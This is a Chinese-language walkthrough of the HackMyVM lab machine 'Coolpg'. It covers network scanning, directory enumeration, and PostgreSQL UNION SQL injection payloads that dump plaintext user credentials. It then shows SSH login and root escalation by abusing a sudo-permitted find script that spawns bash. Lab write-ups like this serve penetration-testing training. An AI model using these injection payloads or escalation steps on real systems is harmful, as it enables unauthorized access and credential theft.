Hvm_Coolpg

靶机来源：https://hackmyvm.eu/

难度：Easy

思维导图：

一、信息收集

1、主机探测

┌──(root㉿kali)-[~/miaosec]
└─# nmap -sn 192.168.2.0/24              
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-08 17:17 +0800
Nmap scan report for 192.168.2.1
Host is up (0.00077s latency).
MAC Address: 0A:00:27:00:00:06 (Unknown)
Nmap scan report for 192.168.2.2
Host is up (0.0011s latency).
MAC Address: 08:00:27:E7:CA:3B (Oracle VirtualBox virtual NIC)
Nmap scan report for coolpgi.hmv (192.168.2.16)
Host is up (0.00076s latency).
MAC Address: 08:00:27:81:5E:CB (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 7.13 seconds

靶机IP：192.168.2.16

2、端口扫描

1.全端口扫描

┌──(root㉿kali)-[~/miaosec]
└─# nmap --min-rate 10000 -p- 192.168.2.16                   
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-08 17:18 +0800
Nmap scan report for coolpgi.hmv (192.168.2.16)
Host is up (0.00019s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:81:5E:CB (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 32.94 seconds

开放端口：22、80

2.详细信息扫描

┌──(root㉿kali)-[~/miaosec]
└─# nmap --min-rate 10000 -sT -sC -sV -O -p22,80 192.168.2.16
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-08 17:18 +0800
Nmap scan report for coolpgi.hmv (192.168.2.16)
Host is up (0.00089s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 7 (protocol 2.0)
80/tcp open  http    nginx
|_http-title: CoolPG Internal
MAC Address: 08:00:27:81:5E:CB (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.75 seconds

3.udp扫描

┌──(root㉿kali)-[~/miaosec]
└─# nmap -sU --top-ports 100 192.168.2.16                    
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-08 17:19 +0800
Nmap scan report for coolpgi.hmv (192.168.2.16)
Host is up (0.00095s latency).
All 100 scanned ports on coolpgi.hmv (192.168.2.16) are in ignored states.
Not shown: 59 closed udp ports (port-unreach), 41 open|filtered udp ports (no-response)
MAC Address: 08:00:27:81:5E:CB (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 56.25 seconds

二、WEB渗透

1、80端口

访问80端口，是一个登录界面 同时提示我们有一个域名：coolpgi.hmv 将域名加入到hosts文件里面

查看页面源码，发现存在注释

<!-- onboarding: ask IT for access -->

2、目录扫描

进行目录扫描

┌──(root㉿kali)-[~]
└─# gobuster dir -u http://coolpgi.hmv -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,bak
...
search               (Status: 200) [Size: 944]
login                (Status: 302) [Size: 189] [--> /]
panel                (Status: 200) [Size: 1273]

访问panel，是一个搜索框

可以搜索当前存在的用户

查看页面源码，找到两个注释

<!-- Dev note: access control handled upstream -->
<!-- TODO: sanitize UNION reports before external exposure -->

3、Union注入

根据提示的信息判断，有可能存在union注入 尝试一下

' UNION SELECT 'test' --

发现能成功执行，说明存在联合注入

查看数据库版本

' UNION SELECT VERSION() --

查看当前的数据库名

' UNION SELECT current_database() --

列出当前数据库中的所有用户表 PostgreSQL 默认使用 public 模式（schema）

' UNION SELECT table_name FROM information_schema.tables WHERE table_schema = 'public'--

获取users表的字段名

' UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'users'--

读取users表中的数据

' UNION SELECT id || ':' || password || ':' || username FROM users --

成功获取到两个凭证 admin:S3cr3tAdm1nPw cool:ThisIsMyPGMyAdmin

三、获取cool权限

使用凭证cool:ThisIsMyPGMyAdmin成功获取到shell

┌──(root㉿kali)-[~]
└─# ssh cool@192.168.2.16

cool@coolpgi:~$ id
uid=1000(cool) gid=1000(cool) groups=1000(cool),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev)

四、权限提升

查看sudo -l

cool@coolpgi:~$ sudo -l
Matching Defaults entries for cool on coolpgi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User cool may run the following commands on coolpgi:
    (ALL) NOPASSWD: /usr/local/bin/runlogs-find.sh

存在一个脚本runlogs-find.sh不需要密码即可以root权限执行

查看脚本

cool@coolpgi:~$ cat /usr/local/bin/runlogs-find.sh 
#!/bin/sh
exec /usr/bin/find /home/cool -maxdepth 3 -type f -name "*.log" -exec /bin/bash \; -quit

脚本会在 /home/cool 及其子目录（最多3层深）中查找第一个 .log 文件，一旦找到，就启动一个 /bin/bash shell，然后退出

刚好/home/cool目录下面存在一个.log文件

cool@coolpgi:~$ ls -la

-rw-rw-r-- 1 root root    0 Jan  4 23:13 debug.log
-rw------- 1 cool cool   30 Jan  4 23:10 user.txt

直接执行该脚本即可进行提权

cool@coolpgi:~$ sudo /usr/local/bin/runlogs-find.sh

root@coolpgi:/home/cool# id
uid=0(root) gid=0(root) groups=0(root)

五、查看FLAG

root@coolpgi:/home/cool# cat /root/root.txt /home/cool/user.txt 
HMV{coolpg_root_dexxxxxxxxxx}
HMV{coolpg_user_c9xxxxxxxxxx}